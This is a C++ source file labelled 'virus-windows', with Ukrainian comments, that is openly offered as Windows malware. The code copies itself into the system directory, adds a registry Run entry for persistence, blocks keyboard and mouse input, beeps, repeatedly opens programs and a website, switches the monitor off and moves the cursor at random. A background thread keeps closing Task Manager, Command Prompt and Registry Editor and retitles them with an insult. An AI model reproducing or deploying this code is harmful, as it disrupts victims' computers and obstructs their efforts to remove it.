virus-windows<c++,compil in Visual Studio

#include <iostream>//підключення бібліотек для роботи функцій виводу cout
#include <stdio.h>//заголовний файл
#include <windows.h>//Бібіліотека директиви Windows
#include <conio.h>// затримка DOS вікна
#include <ctime>//виконання доповнених функцій
int random, Freq, Dur, X, Y;//ініціалізація цілого типу
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH] = "notepad.exe";
char MineSweeper[MAX_PATH] = "winmine.exe";
char Hearts[MAX_PATH] = "mshearts.exe";
char Website[MAX_PATH] = "http:\\www.google.com";
void SetUp();
void Run(int ID);
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);//знищення Windows

int main()
{
    srand(time(0));
    random = rand() % 6;
    system("title :.Virus.:");
    BlockInput(true);
    SetUp();
    BlockInput(false);
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
    while (1)
    {
        Run(random);
        Sleep(10);
    }
}
void SetUp()
{
    char system[MAX_PATH];
    char pathtofile[MAX_PATH];
    HMODULE GetModH = GetModuleHandle(NULL);
    GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
    GetSystemDirectory(system, sizeof(system));
    strcat(system, "\\winminer.exe");
    CopyFile(pathtofile, system, false);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Mcft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    RegSetValueEx(hKey, "SetUp", 0, REG_SZ, (const unsigned char*)system, sizeof(system));
    RegCloseKey(hKey);
    mywindow = FindWindow(NULL, ":.Virus.:");
    printf ("You are Doomed Cyber root");
    Sleep(1000);
    ShowWindow(mywindow, false);
}

void Run(int ID)
{
    if (ID == 1)
    {
        BlockInput(true);
    }
    else if (ID == 2)
    {
        Beeper();
    }
    else if (ID == 3)
    {
        OpenStuff();
    }
    else if (ID == 4)
    {
        Hibernation();
    }
    else if (ID == 5)
    {
        CrazyMouse();
    }
    else
    {
        BlockInput(true);
        Beeper();
        OpenStuff();
        CrazyMouse();
    }
}

void Beeper()
{
    Freq = rand() % 2001;
    Dur = rand() % 301;
    Beep(Freq, Dur);
}
void OpenStuff()
{
    ShellExecute(NULL, "open", Notepad, NULL, NULL, SW_MAXIMIZE);
    ShellExecute(NULL, "open", MineSweeper, NULL, NULL, SW_MAXIMIZE);
    ShellExecute(NULL, "open", Hearts, NULL, NULL, SW_MAXIMIZE);
    ShellExecute(NULL, "open", Website, NULL, NULL, SW_MAXIMIZE);
}
void Hibernation()
{
    Sleep(1000);
    SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
}
void CrazyMouse()
{
    X = rand() % 801;
    Y = rand() % 601;
    SetCursorPos(X, Y);
}

DWORD WINAPI DestroyWindows(LPVOID)
{
    while (1)
    {
        TaskMgr = FindWindow(NULL, "Windows Task Manager");
        CMD = FindWindow(NULL, "Command Prompt");
        Regedit = FindWindow(NULL, "Registry Editor");
        if (TaskMgr != NULL)
        {
            SetWindowText(TaskMgr, "You Suck Balls Superman");
            PostMessage(TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if (CMD != NULL)
        {
            SetWindowText(CMD, "You Suck Balls Superman");
            PostMessage(CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }
        if (Regedit != NULL)
        {
            SetWindowText(Regedit, "You Suck Balls Superman");
            PostMessage(Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
        }

        Sleep(10);
    }
}